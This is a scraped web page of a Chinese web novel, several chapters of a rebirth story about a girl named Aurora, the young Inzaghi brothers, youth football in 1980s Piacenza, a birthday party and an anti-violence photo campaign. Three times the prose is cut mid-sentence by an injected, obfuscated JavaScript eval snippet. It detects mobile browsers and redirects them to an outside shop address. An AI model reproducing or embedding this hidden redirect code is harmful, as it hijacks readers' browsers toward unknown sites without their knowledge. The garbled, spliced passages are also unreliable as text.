教练的声音变得刺耳,菲利普觉得自己的脚又痛了起来,从身体到技术的接连打击,让以往被夸赞的天赋突然一文不值,那些进球后的欢呼变成了破碎的梦,他真的有那么差劲吗? 重重地咬了咬牙,沉默点头。 之后,西蒙内每个晚上都陪着哥哥到车库训练,从内侧传球到一脚出球,每天练习的次数逐渐加码,练得太狠,还把右脚踝练伤了,被玛丽娜紧急叫停。 小男孩要面子,别人问起右脚为什么缠着绷带,他云淡风轻地用洗澡摔跤的理由应付过去,不想让人知道因为技术太差私底下加练这件事。 因为皮亚琴查俱乐部合作的是另一个学校,奥罗拉遗憾地告别了转学的菲利普,开启一个人上下课的日子。但她发现,这些天,男孩开始变得越来越沉默,胳膊膝盖老是有不同的伤口,踢球时总沉着脸。 她怀疑菲利普被霸凌了。她听过一些类似的新闻,一线球员殴打青训成员、老队员强迫新队员打杂、更衣室里的奇葩入队仪式……雄性激素多的地方,总是容易发生一些恶臭的事,看不下去小玫瑰蔫蔫巴巴的模样,在菲利普右脚绷带拆下的当晚,她就挥舞着一个娃娃,对准了他的窗口,丢了上去。 加入皮亚琴查青训后,菲利普就跟西蒙内分开,两人都拥有了单独的卧室。刚完成作业的菲利普被窗口的击打声吓了一跳,开窗后拿起被蹭脏的娃娃,发现女孩站在花园路灯下,对着他一直挥手,手指做着下楼梯的动作。 时间已晚,其他人早已熟睡,他带上钥匙和娃娃,摸黑下楼,小心地不发出声音,出门寻找奥罗拉。 还没等他开口,女孩就拉着他的手,向花园内的一大片草坪跑去,扯着他坐了下来。 “菲利普,我睡不着,你能陪陪我吗?”奥罗拉抬头看天,思考着如何破局,没有光污染的夜空洒满了星辰,仿佛都被吸入她的眼眸。菲利普默默挪动,为女孩挡着凉风,手里捏着娃娃,没有说话。 “很多人夸我是天才。”她突然自嘲一笑,“但我跳级后感到很累,小学和初中是两个世界,我觉得自己的脑子快要应付不来了,每天还要空出时间给绘画和音乐。他们已经习惯了我的成绩,我不敢停下来,因为无法接受不好的评价。” 她终于转头,打算真假参半,用自己的苦恼引导菲利普主动敞开心声,“我是病了吗?” 菲利普在这一刻,却觉得两人的心产生了共鸣,他们遇见的事是如此相似!所以他疯狂摇头,把自己最近的苦涩也一股脑倒出,告诉爱洛她并不孤单,“这或许就是上天给予我们的考验。” 搞清楚了怎么回事,奥罗拉开始了她的表演。 “好烦啊,不然我也去踢球?你快教教我规则,就从……嗯……最难的越位开始吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309213|198750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她大力摇晃着男孩的胳膊,充分地让他体会到了什么叫善变,只好结结巴巴地试图教会她,后来越说越流畅,又恢复了以往踢球时自信的模样。 女孩托着腮,笑着凝望菲利普,有几个人能被因扎吉一对一小班教学越位的?她都羡慕自己。 “真棒啊菲利普,说得比电视上的专家还要准确易懂,你对理论知识的理解已经很透彻,只不过是身体的成长跟不上大脑罢了!”停顿了一下,表达对他的肯定,“能进入皮亚琴查俱乐部,有机会变成职业球员,你已经是小镇万里挑一的人才。” “我知道你晚上经常对墙训练,听没听过‘墙即是门’?”她指了指远处的车库,“墙面,看似是障碍,困住了你我,但它也是突破的契机,一起砸穿它吧菲利普!”女孩举起拳头,男孩盯着车库的墙沉默了几秒,才笑着伸出右拳和她轻轻一碰,“好。” 在分别前,奥罗拉一拍脑袋,从兜里掏出一条编织好的文昌结挂饰,“差点忘了,这个送给你,带着它会有好运的。”除了言语疏导,她还准备了玄学祝福给他精神暗示,毕竟意大利人很迷信,嗯,青训训练也算是学业嘛。 不知道是因为想通了心态放平,还是训练的量变引起质变,菲利普的脚法进步神速。 弗朗松很高兴这个男孩能坚持下来,说白了,这个年龄段的孩子技术差距不大,沟通、思考、自律能力才是决定能否踏入职业的关键,现在的进球数和输赢根本不重要,落后时仍在创造机会以及领先时也主动回防的精神才是他看中的。 虽然身子板依旧单薄,菲利普渐渐摔出了心得,知道怎么翻滚能更好地保护自己,也更注意对抗训练时有没有人靠近,提前跑动或者立马传球,慢慢降低了被冲撞的频率,找回了过去比赛时流畅的节奏。 在一次助攻鲍勃进球后,他和青训队员们的关系突然就好了起来,有人跟他打招呼,也有人开始和他闲聊,他终于融入了这只青训队伍里。 习惯性地吻了吻挂饰,菲利普边和队友告别,边把它小心收到自己的钱包里,觉得一定是爱洛给他带来了好运,最近的一切都顺利得不得了。奥罗拉今天难得跑来俱乐部,他们约好再去看看一线队员的训练,作为青训队员,他被允许在场外观看。 “你喜欢的球员也是9号?真巧。”他两趴在栏杆边张望,奥罗拉注意到男孩和“9”这个数字有着如此深的羁绊。 “我喜欢他踢球的方式。”菲利普专心看着一线队员们在场上的移动,企图从他们身上解读出什么,过去的经历培养了他勤于思考的习惯,他不再是那个只知道激动合照的球迷小子,而是如饥似渴地偷师学艺,想象着有一天也能站在联赛的场上。 看到菲利普那么认真观察的模样,奥罗拉放心了,男孩没有失去对足球的热情,已经从之前的挫折中走了出来。 菲利普,墙后的世界真的很美。 10. 灿烂的花 奥罗拉对待人际交往一直很被动,更何况来到了异国他乡,时常觉得和“老外”思维不在一个频道,作为一个三观已经定型的人,跟周围一群十一二岁的小孩聊不来再正常不过,这不意味着她无法交流,但如果没人主动搭话,也无所谓,要忙的事太多了,做社交女王从来不在她的计划清单上。可以说,如果不是有家长和邻居的那层关系,她也不会去主动结交因扎吉兄弟。索菲亚倒是能交流几句,但她们不常见面。 自从菲利普转走后,奥罗拉又恢复了跟小学一样的上课模式,认真听课,练习意大利语,想回答问题就张口,答错了也不会羞耻,下课还经常和老师请教,每次都能交出优秀的作业和答卷。在一群少男少女眼中,奥罗拉就是一个神秘冷峻的天才,谁也不敢靠近,就怕哪句话暴露出自己的愚笨,拜托,被小一岁的妹妹瞧不起是真的很打击人的! 于是学校里就出现了一种很诡异的情况,奥罗拉觉得自己在正常的上学(单机版),其他人却经常暗中观察女孩。每到有小组合作环节,她总是等着最后人没满的组加入,组内的其他人变得比别组更安静,每个人卯足了力气拿出自己最聪明的表现,短暂的交集随着课程结束又断了。她仍旧一个人活动,和其他人之间仿佛隔着一堵透明的墙。 埃琳娜是这所学校的国语老师,看到女儿开学一个月了还没交上朋友,心里难免着急,她没有告诉马泰奥这件事,怕面对女儿就容易失去理智的傻爸爸弄巧成拙,再三考量,找到菲利普,阐述了自己的忧愁。 “你和奥罗拉关系最好,有些话她或许愿意跟你分享。” “交给我吧,埃琳娜阿姨。”想到前些天奥罗拉半夜找他倾诉,菲利普懊悔自己这些日子太过专注训练,没有多关心妹妹。 他约了几个和奥罗拉同班的老同学,本来想直接问问奥罗拉在班里的情况,话到嘴边,又开始怪自己莽撞,不想让女孩觉得自己侵犯她的隐私,只拜托他们平时多关照奥罗拉,男生们吃着薯条,面面相觑,怀疑菲利普口中可爱的妹妹和永远冷着脸的奥罗拉是两个人。 放学,奥罗拉正专心思考着乐谱的旋律,想着如何改调,目不斜视地经过奔跑或快走的人群,双手将肩膀上斜跨的包带拉长又拉短,直到撞到单车车筐才回过神来。 “上车,带你去吃甜品。”菲利普看出了奥罗拉和其他人之间隐隐的疏离,庆幸自己过来了一趟,决定投其所好,再进入正题。 “所以你们认为我孤立了其他人?”还在奇怪菲利普突然出现的女孩,吞下蛋糕,笑得停不下来。没错,在埃琳娜和菲利普的观念里,奥罗拉太有主见太过独立,只有她不想理会别人这一种可能性。菲利普开门见山,想知道发生了什么事。 啧,仔细想想,倒也没错,她确实没怎么关注同班同学,这是不是说明,潜意识里,她还没有打算融入这个世界?毕竟一切都像泡泡,梦幻又易碎。 可是,男孩担忧的眼神是真的,这让自己的漂浮的心踏实了很多。 “你们想多啦,我很好,真的。”原来尽量不给家人添麻烦的自己反倒让他们担心,她决定慢慢敞开心扉,和更多的人接触。 转机来得很快,这天,刚坐好拿出课本乱翻的奥罗拉感觉到有人靠近书桌,一抬头,一位绑着双马尾的女孩手里举着像贺卡一样的硬纸,一脸惨白,支支吾吾,手臂带着些许颤抖:“奥……奥罗拉,这个周六下午,我要举办生日派对,你、你、你来吗?” 她接过请柬,快速确认了一下女孩的名字,扬起招牌甜笑,答应了:“当然,诺玛,谢谢你的邀请。” 诺玛倒吸了一口冷气,放下手臂胡乱点了点头,转身同手同脚地离开。 教室外隐约传来女孩们压低声音的对话“她答应了!”“她居然会笑!”,听力不错的她一时之间搞不懂自己在别人眼里究竟是什么样的形象。教室内的其他人也像发现了新大陆一样,一个男孩壮起胆子,带着昨天老师布置的难题向她请教,奥罗拉沉思了一会就列出了解题思路,让他跟着一步步陈述相关知识点,男孩很快就想通了。 看着眼神发亮的少男少女,她不禁感慨:小小的人烦恼也是小小的。奥罗拉觉得自己很幸运,班里的小女生小男生真诚可爱,没有那种让她拳头梆硬的顽童,她开始被拉入各种八卦分享会,也时不时主动给同学讲解难题,脸上的笑容越来越多。 “奥罗拉,等等我!”也不知道胆小内向的诺玛当初究竟如何鼓起的勇气邀请奥罗拉,但现在,她把奥罗拉看成是朋友,她们约好下午一起去市中心逛逛,购买生日派对穿的衣服。 习惯一下课就往门口冲的女孩闻言放慢了脚步,任由诺玛亲热地勾住她的手臂。经过几天的相处,诺玛发现奥罗拉的脾气很好,情绪极其稳定,还会很认真地参与闲聊,就是经常分不清楚绯闻主角都是谁,还乱认人,貌似有些脸盲,和上课时的游刃有余反差很大。 从坐上公车开始,奥罗拉就紧紧抓好自己的小包,里面是埃琳娜得知她要跟同学出门玩准备的零花钱,听说欧洲小偷很猖狂,她特地挑了不起眼的帆布包,一旦有人靠近她们,她就会扯着诺玛快步拉开距离。 意大利人好像天生就对fashion有独到的见解(当然她免不了想起某个著名“潮流专家”内斯塔),诺玛也有自己的穿搭哲学,谁能想到,她居然喜爱朋克风格的衣服! 八十年代的意大利正处于被后朋克与新浪潮音乐流派影响的时尚多元化时期,青年群体通过摇滚乐来宣泄自己的叛逆与不满,他们最初通过撕裂服装来表达批判,后来衍生出了一种包含皮革夹克、铆钉、破洞元素的视觉风格。作为欧洲时尚中心的意大利,售卖朋克风格服饰的店并不罕见,诺玛仿佛“蓄谋已久”,直接就带着她冲进一间堆满黑白红三种颜色服装的小店。 店里没开灯,只靠户外射进来的天光勉强照明,昏昏沉沉的,空气很不流通,时不时能闻到一股轻微的霉味。奥罗拉看到一位画着烟熏妆打着唇钉的干瘦男人,像没睡醒一样靠着墙,听到她们进来也只是微微抬了抬眼皮,没打算起身招呼。 很好,这很朋克。奥罗拉没放下警惕,余光盯着门口,打算有任何不对劲就拉人跑,毕竟力气再大也不能防铁棍子弹吧? 肤色苍白的少女眼睛盯着一件挂在墙上的铆钉黑夹克,却一直没动静,奥罗拉很奇怪,也抬头看,就是一件普通外套,怎么跟朝圣一样? “诺玛,想买就试试啊,难道这里不给试衣服?”她只好凑到少女耳边。 “啧。”干瘦男嗓子喑哑,“她已经来了十几次了。” 少女从狂热中惊醒,一脸犹豫,竟打算带她离开。重生后的奥罗拉最看不得别人错过心爱之物,最讨厌等待,只要有能力,想做什么就做嘛!一件衣服而已。 “老板,这件外套多少钱?有适合她的尺码吗?能试衣吗?”奥罗拉熟练三连问,干瘦男这才打起精神,直接把外套取了下来,丢向她,还好她反应快接住了。 “十万里拉,就这一件,试吧。”声音仍旧半死不活。 十万里拉?不便宜啊,按现在物价可以买七十公斤意面了。奥罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309214|198750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉咂舌,摸着手中的外套,倒是挺厚实的,铆钉的做工还行,她展开外套往少女身上套,诺玛突然变成了任人打扮的娃娃,静静看着镜子前的自己——朝思暮想的衣服映衬着她没有血色的唇,脑海中又浮现出父母失望的脸。 “不、不好看,我们还是走吧。”少女发出蚊子般的声音,捏着衣角的指尖发白。 奥罗拉选择性耳聋:“老板,五万里拉卖不卖?你看这版型有点大了,料子还不透气,摸起来挺多灰的,放挺久了吧?与其没人买,不如便宜点。”她重拾砍价技能,不管不顾先对半砍一刀。 干瘦男朝她伸出右手,手心朝上,她试探性地将五万里拉放进去后,带着诺玛离开了。 “奥罗拉……我不能……”少女被奥罗拉一连串举动弄蒙了,打算把外套脱下来。 “穿好,你家里人问起来,就说是我送给你的生日礼物,当然,它确实是。”不管是因为价格高还是风格过于大胆才让少女如此纠结,奥罗拉打算成全诺拉的渴望,家人有什么不满就把锅推给她吧,她不在乎。 于是奥罗拉身上长了一只眼泪汪汪的哭包,“奥罗拉,你就是我这辈子最好的朋友!” 随后诺玛热情地为她出谋划策,奥罗拉家里有很多以舒适为主的常服,她反倒想搭配一套学院风格的服装,可惜本地似乎没有听过这个概念,她只好跟着诺玛穿过大街小巷,买了针织背心、衬衫、百褶裙自己凑成一套。 “生日那天我们就穿今天买的衣服。”诺玛和奥罗拉分开前做好约定。 和女孩子相处确实不一样,因扎吉兄弟再乖也有皮的时候,他两谈论的话题她很少感兴趣,但是女孩子可以一起试衣服一起肆无忌惮聊帅哥,她早就该多交一些朋友了。 这是奥罗拉第一次参加同学举办的派对,她跟每个女生进行了贴面礼,然后被她们拉到客厅。诺玛家是常见的极简装修风格,家具以实木为主,此时客厅墙上挂满了庆祝彩灯,靠墙的长桌摆满各种口味的切片披萨,还有几种饮料。 诺玛的父母看上去有些严肃,充满了学者气质,特地来跟她们打了个招呼就离开了,当时诺玛正紧紧牵着奥罗拉的手,她刚把外套套在白色连衣裙上,有点不敢直视父母的眼睛,所幸没有发生什么让她尴尬的事。 家长离开后,女孩们终于放松下来,对诺玛和奥罗拉的穿衣风格表示很惊讶,诺玛是给她们一种极端反差感,奥罗拉的学院套装却是从没见过的风格,大家都接受良好,还约着哪天一起去购物。 诺玛打开了磁带录音机,充满动感的节拍游荡在整个屋子里,奥罗拉看着女孩们迎着音乐默契起舞,有点不知所措。 “跟我来。”后来还是诺玛拉着她一起跟着音乐扭动、转圈、摇晃脑袋。 穿着各色服装的女孩如同一朵朵花苞,在一次次的旋转中绽放着不同的美,舞步优雅、简洁、狂野、随性,她们不在乎跳得如何,只是尽情倾撒着快乐,奥罗拉从生疏模仿到开怀乱跳,脑袋微醺般眩晕,什么烦恼都像汗水一样挥发了。 她们又玩了蒙眼猜谜、抢凳子、传土豆的派对游戏。最后终于到了切蛋糕的时刻,诺玛吹灭蜡烛后立马把它折断,这是一种保证愿望会实现的迷信。吃完蛋糕后的女孩们也该回家了。 “谢谢你诺玛,我今天是真的真的真的很开心。”奥罗拉大力拥抱了寿星,她感谢诺拉给了自己融入班级的机会,享受青春的简单快乐。 回家后她又一一拥抱了埃琳娜和马泰奥。 “我爱你们!” “我们也爱你!” 11. 球童与志愿者 因扎吉家的保姆露西去年就因为升级当了奶奶,辞职回家带娃了,还好两兄弟已经有了基本的自理能力,玛丽娜还应付的过来,但自从菲利普加入距离圣尼科洛六公里远的皮亚琴查俱乐部后,每天光接送两个孩子就很花时间。埃琳娜本来说帮忙接送西蒙内,玛丽娜考虑到未来两人有可能都进入职业队,需要有人专门照料他们的生活,还是在詹卡洛的支持下辞职,专心后勤工作。 听到这个决定,奥罗拉挺佩服玛丽娜的,也想起之前埃琳娜为了照顾她远离职场的事,妈妈们经常心甘情愿做家庭的后盾,怪不得意大利人均妈宝。但对她而言,无论社会环境如何,这辈子都不可能去做家庭主妇。 因扎吉们能全心全意踢球,跟父母的支持分不开。玛丽娜是从生活上支持儿子,而詹卡洛支持的方式挺特别,很多业余俱乐部会通过开放捐款席位来获取运营基金,之前菲利普还在圣尼科洛时,他为俱乐部捐款二十五万里拉成为了圣尼科洛副主席(这样的副主席有七八个),奥罗拉乐了,这不就是类似古代的“捐官”嘛?詹卡洛就通过这种方式参与孩子的事业。他们并不知道未来儿子们能否成才,但还是倾尽了能付出的一切。 事实上,进入职业青训队只是第一道门槛,青训期间因为发育、心态、能力出现问题被劝退的孩子不计可数,每年能拿到首份职业队合同的球员不足百分之一,大部分还集中在意乙和意丙级别(仅意甲、意乙、意丙三个级别的俱乐部可参加职业联赛),所以那些能直接加入意甲豪门青训的球员,都是天之骄子,升入一线队成为大球星的机会要比其他人大多了。 没得到职业合同的球员,如果还想踢球,会转投意丙、意丁队,边打工边比赛,以半职业身份打磨技术寻求机会。或者直接退役考取教练证书,加入俱乐部青训团队。又或者根据自己的情况转行球探、经纪人、体能训练师等。 可以说,能出现在电视转播上的球员已经算处于金字塔顶端了,运气和天赋缺一不可。 青训队根据年龄,也分成了不同队伍:11-12岁为Esordienti初级队,13-14岁为Giovanissimi年幼队,15-16岁是Allievi学生队。12岁的菲利普本来应该加入初级队,不知道是不是之前在圣尼科洛时一个赛季就进了四十多球的缘故,他直接被归入年幼队,由于体能的差距,一开始适应得十分艰难。 经过几个月的刻苦训练,新教练南多已经很信任菲利普,还把队长袖标交给了他,这不是他第一次成为队长,但业余俱乐部和职业俱乐部队长给人的体验总是不同的。他带领队伍时不时参加青训联赛,积累比赛经验,有次还对上了豪门AC米兰的青训队。 “保罗·马尔蒂尼居然16岁就升入AC米兰一线队了?”为了帮菲利普了解对手,奥罗拉翻阅了很多旧报纸,惊讶地看到了今年一月份的消息。保罗的父亲切萨雷·马尔蒂尼除了曾经是AC米兰球员,当时已经成为了国家队助理教练,不是说保罗没能力,但对比起那些在青训队挣扎的球员,有时候家人的托举真的能让人少走很多弯路。 后世以daddy形象闻名的小马尔蒂尼现在还一脸青春稚嫩,作为未来米兰国家队双料队长,却因为拥有软糯嗓音,讲话被人说像喵喵叫,奥罗拉忍不住咧嘴。 “怎么了?”菲利普探过头来。 “没事,就是觉得他挺可爱的,我喜欢。”她特意把这份报道放到一边。 这还是第一次听奥罗拉夸异性,男孩觉得心里有点堵:“我更喜欢国际米兰。” 西蒙内不甘寂寞乱入嚎叫:“我喜欢罗马俱乐部!” 这会奥罗拉真的笑得直不起身来,一个在AC米兰退役的喜欢死敌国际米兰,一个在拉齐奥退役的喜欢死敌罗马,唉,可惜十几年内没人能懂她的笑点! 时间很快到了八月,虽然参加了很多比赛,跑过各种类型的草地,皮亚琴查的加里利体育场才是菲利普心中的白月光,他一直渴望能在那里作为职业球员踢一场比赛,现在,他有一个可以踏上球场近距离观赛的机会——成为球童。 球童要做什么呢?当足球越过赛场边界,他要快速捡球递给球员,机灵的球童还能为自己喜爱的队伍创造进攻机会,有时候球童还要协助裁判准备备用球,或为球员递送毛巾饮用水等物资。 意丙联赛,皮亚琴查队对阵维罗纳队,作为皮亚琴查优秀的青训队员,菲利普成为了这场友谊赛的球童。 奥罗拉默默诅咒足协,凭什么女生不能当球童?但作为拥有丰富钻空子经验的未来人,她打算从志愿者着手,混入球场边。咳咳,当然不是通过购买黄牛“通行证”的方式。 前面说过,意大利社区足球氛围十分浓厚,皮亚琴查俱乐部的球迷几乎都是本地或周边的居民,作为一支意丙球队,长期混迹在低级别赛事,影响力极其有限。跟那些靠电视转播、商业赞助、球员转会溢价赚得盆满钵满的意甲豪门不同,皮亚琴查虽然也有转播和赞助的收入,但多为本地电台转播和本地企业投放,一个是国家级一个是市级,费用天差地别,所以俱乐部资金并不充裕,没办法雇佣大量工作人员维持赛事运行。 这时候俱乐部想出了一个办法,既能省钱又能为球队培养死忠粉,那就是通过球迷,组织志愿者完成比赛的基础运营工作。 志愿者大多数由退休工人、教师、退役球员家属、学生、本地小摊贩等组成,他们长期“为爱发电”,负责票务、秩序维护、物资补给、清洁、引导等服务,是意大利发展基层足球不可或缺的一环。 奥罗拉知道妈妈作为老师,肯定认识相关的组织者,她打算带上自己的摄影作品,自荐成为俱乐部这场比赛的摄影师,为球队和志愿者们拍摄相关物料用于宣传,要是还不行,她就去拜托潘多拉给她搞到正式媒体名额! 还好埃琳娜认识的人很好说话,没有嫌弃她太小,看过照片后,二话不说就答应了,也可能跟这只是一场友谊赛有关,管得不严。 她千方百计想近距离观看比赛,除了顺路记录菲利普当球童的样子,主要还想观察这个时代足球场内都有哪些地方可以售卖广告,多积累素材,万一以后哪个乙方的委托和足球相关呢?而且这次做得好,下次说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309215|198750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定能去到意甲的场地,要把握每一次机会嘛。 奥罗拉特地给自己列了一个拍摄计划表,虽然并没有人向她索取,只为让自己心里有谱不要遗漏。她和菲利普说好了,提前两三个小时到体育场,他去跟其他球童汇合,她去熟悉场地。 在她的计划里,必须要拍摄的是赛前各个岗位志愿者辛苦工作的图片,毕竟她是靠志愿者的名头混入场内的,然后就是菲利普的工作照,最后是球员热身、比赛、赛后的抓拍。如果看到一些有趣的观众,她也会记录下来。 为了显得专业,她穿了一件米白色的短款西装外套,内搭真丝衬衫和直筒西裤,除了长得嫩了点,身高矮了点,还挺像一个记者的。将装备塞进结实的斜挎包里,把相机带子和工作证挂脖子上后,奥罗拉就出门去蹭詹卡洛的车,恰好遇见穿着普通运动服的菲利普,球童并没有统一的服装。走之前,她拜托詹卡洛为他俩拍了一张制服合照用于纪念。 两人兴奋地讨论自己一会要去干什么,菲利普还打算潜入球员热身场地观察他们的一举一动,女孩觉得这行为越来越像私生饭了,虽然知道他只是为了向职业球员学习。奥罗拉想找到球场里待开发的盈利点,菲利普听得迷迷糊糊,詹卡洛却很感兴趣,不时插入对话。 玛丽娜带着西蒙内,跟埃琳娜和马泰奥一起出发,他们没有任务,不需要提前几个小时。 又来到了皮亚琴查最大的体育场,这会完全是不同的心情。他们三个人在门口分别,詹卡洛也要去帮忙整理运动装备。 奥罗拉特地去和志愿者组织人打了个招呼,在志愿者面前露露脸,以免工作时被阻拦在哪个区域,婉拒了一群哥哥姐姐叔叔阿姨的零食饮料投喂,她搬出要去熟悉场地的理由先行离开。从场馆外部绕了一圈,并没有看到道旗类的广告,一直等走进检票口,也没发现售卖球队周边的商店,只有一些食物摊子,更让她惊讶的是,看台、包厢、内场居然没有任何广告牌和围栏广告。 把发现的点记录在小本本上,她只觉得很奇怪,难道除了球衣胸前广告,其他广告被法律禁止了? 等人群开始入场,她赶紧根据自己手绘的简略地图到达不同部门志愿人员所在区域,记录这些无名奉献者的伟大身姿。随后她靠近球员们的热身地点,为了摄影角度使出浑身解数,或蹲或趴,还吸引了几个球员的注意力,看了她好几眼。行,对视图get! 菲利普在另一边不自觉模仿着球员的热身动作,被艾尔克亚尔和加德利西两个前锋发现了,他们哈哈大笑,只觉得今天场边的小孩都很有趣,这个同框也被奥罗拉记录下来。 这几个小时在场地内反复走动,又扛着照相机狂按快门,饶是穿着运动鞋的大力少女,也难免感到疲惫,等球员结束比赛离开场地,她终于忍不住了,一屁股坐在地上,从包里摸出一瓶水,没几秒就喝了大半瓶。 菲利普回头来找她,奥罗拉把自己和包的重量完全压到他身上,根本是被拖着胳膊走的,已经累到不顾是否会被路人嘲笑的地步了。 玛丽娜和埃琳娜在看台上对视一笑,多么两小无猜啊! 12. 新的机遇? 回程路上,奥罗拉向詹卡洛提出了自己的疑问,对足球场上没有任何广告牌的事感到很困惑,她想,喜欢足球同时也是成功商人的詹卡洛应该知道原因。 “在我的印象中,无论是意甲俱乐部使用的大球场还是其他俱乐部的小球场,似乎都没有投放广告的区域。对很多球迷来说,足球,很纯粹。” 这可让后世被各种广告包围的奥罗拉倍感惊讶,它们恨不得贴人脸上,一天24小时缠着你,连刷个社媒都是各类软广。 “还有一件事,或许未来会让欧足联对球场的管理变得更为严格和保守。”詹卡洛沉默了一会,声音有点悲痛,“就在五月份,比利时海瑟尔体育场,一场惨绝人寰的踩踏惨案。” 经常读报的奥罗拉想起来了。 那是今年欧洲冠军杯决赛发生的事,原本为了避免两队球迷发生冲突,看台被划分为三大区域,两大俱乐部死忠区之间用中立球迷隔离,但因为门票分配不均,有很多尤文图斯队迷购买了黄牛票混入中立区,与旁边的利物浦极端粉丝产生冲突。本就年久失修的看台围墙在这样的情况下轰然倒塌,造成了39人死亡(其中大部分是意大利人),几百人受伤的惨痛后果。 这场惨案本可以避免,两大俱乐部赛前就对场地安全和票务安排表达过担忧,未被欧足联重视。混乱的管理下,本就有旧怨,酒气上头互相辱骂的两队球迷,出现暴力事件是必然的。为了避免更大规模的人群踩踏,转移球迷注意力,比赛还是正常进行了,然而,现场的球员和观众都留下了巨大的心理创伤。 惨案发生后,欧足联将矛头指向英国足球流氓,英格兰各球队被禁止参加欧洲赛事五年,利物浦俱乐部禁赛七年,这势必会对英国足球发展带来巨大打击。 风波之下,欧足联对球迷的管理愈发严格,意大利足球进入严格管控阶段,全面改革球场安全标准,一切可能引发人群聚集的设备均被搁置,一切商业开发在社会舆论的压力下变得不合时宜。 想通了关键,她叹了口气,怪不得后来体育场安保那么严格,都是血一般的教训,看来几年内球场都不可能有任何形式的商业推广。 回到房间,她把关于球场商业开发的构思搁置,等待一个转机,当务之急是把照片都洗出来,做好分类。 奥罗拉下楼,来到影印室,小心地将胶卷从暗袋取出,放入她用稿费斥巨资购买的自动化冲印机,经过显影、漂白、水洗等步骤,将相片冲洗出来。一轮要等待快三四十分钟,照片出来后还要用热风干燥机蒸发显影液,她忙碌了几个小时才停下,在马泰奥的催促下,不得不将它们先收好,第二天再整理。 早上她难得睡了懒觉,听着窗外隐隐约约飘来的鸟鸣,费劲地把自己从床上“拔”起来,小腿和手臂乳酸堆积严重,动一下就不自觉地抽了抽嘴角,没个一两天是好不了了。啃完爸爸留下的牛角包,她将之前厚厚几打相片搬到楼上,为自己的摄影工作收尾。 昨天关于海瑟尔的讨论给了她一些启发,只是晒出一些比赛的照片,对于球队的宣传而言太过于常规和平平无奇,如果把重点放在球赛之外呢? 人们爱足球,是因为它能消除彼此之间的阶级贫富差距,是因为足球体现的是集体精神,是因为总有人为了它燃烧自我永不言弃。为了这份纯粹,他们心甘情愿为球队奉献,拖家带口到现场支持呐喊,结识众多志同道合的朋友,足球,理应带来快乐。 所以她想了一套宣传方案,将焦点放在志愿者和观众上,现场照片可以配上一些相关的采访,分享球迷心声,科普志愿者工作,让更多人知道球场里普通人的喜怒哀乐,呼吁大家共同对球场暴力行为说不,维护看球风气。 照片选好,她的工作已结束,如果球队采纳方案,采访部分要靠俱乐部去和球迷沟通,不采纳的话,比赛的照片也管够。将手写方案和照片叠在一起,装入文件袋,等埃琳娜上班时带去给志愿者负责人。 “奥罗拉女士,皮亚琴查俱乐部诚挚邀请您加入采访团。”一位穿着西装三件套的中年男士,在某天下午拜访了奥罗拉,他控制着自己看到方案策划人那刻的诧异——一个未成年女性!递上名片,说明来意。女孩把人请进屋,给卡尔递了一杯水“不好意思,我这只有这个。” 男人礼貌地喝了一口,开始陈述俱乐部这次的宣传计划“我们主席对您送来的方案很感兴趣,他认为,这能很好地体现俱乐部的社会责任感,并且非常希望您能继续作为摄影师参与到这次采访中来。那些照片,具有蓬勃的生命力!”说着说着,双手手指并拢,上下轻微摆动。 “这次采访由球迷组织里的一个记者负责,稿件会刊登在《皮亚琴查报》,这是采访提纲和时间表。”卡尔从公文包里拿出一叠纸,双手递给女孩。 奥罗拉没想到对方准备那么充分,认真地翻看,在脑里对了一下自己的日程表,“采访的内容个人认为没问题,最后可以让受访者手写一句呼吁拒绝球场暴力的话,到时专门用一个版面,以照片的形式刊登。安排的采访时间我都有空,可以参加。”她也很想看着自己的方案如何落地,期待着球场多几朵文明之花。 为了配合团队和受访者的时间,整个采访花了他们一个星期,从志愿者负责人采访到情侣球迷,男女老少各有典型。俱乐部一线球员也手写了呼吁的话,到时候择优刊登。 在奥罗拉的建议下,卡尔帮忙召集了所有曾经或仍在当志愿者的人,为他们留下了大合照和个人纪念照,一份在球员签名后送给他们留念,一份张贴在俱乐部的文化墙上。 记者估计是被受访者们感动了,写稿的速度飞快,奥罗拉将照片洗好,交给发型凌乱的记者时,怀疑他根本没睡,一口吞完浓缩咖啡就拿上照片和稿子往报社赶。 这是《皮亚琴查报》最有存在感的一天,这期报纸的主版面夺人眼球,印着由一张张手写便利贴组成的“no”,仔细看,便利贴里的每句话都表达了对球场暴力行为的不满。 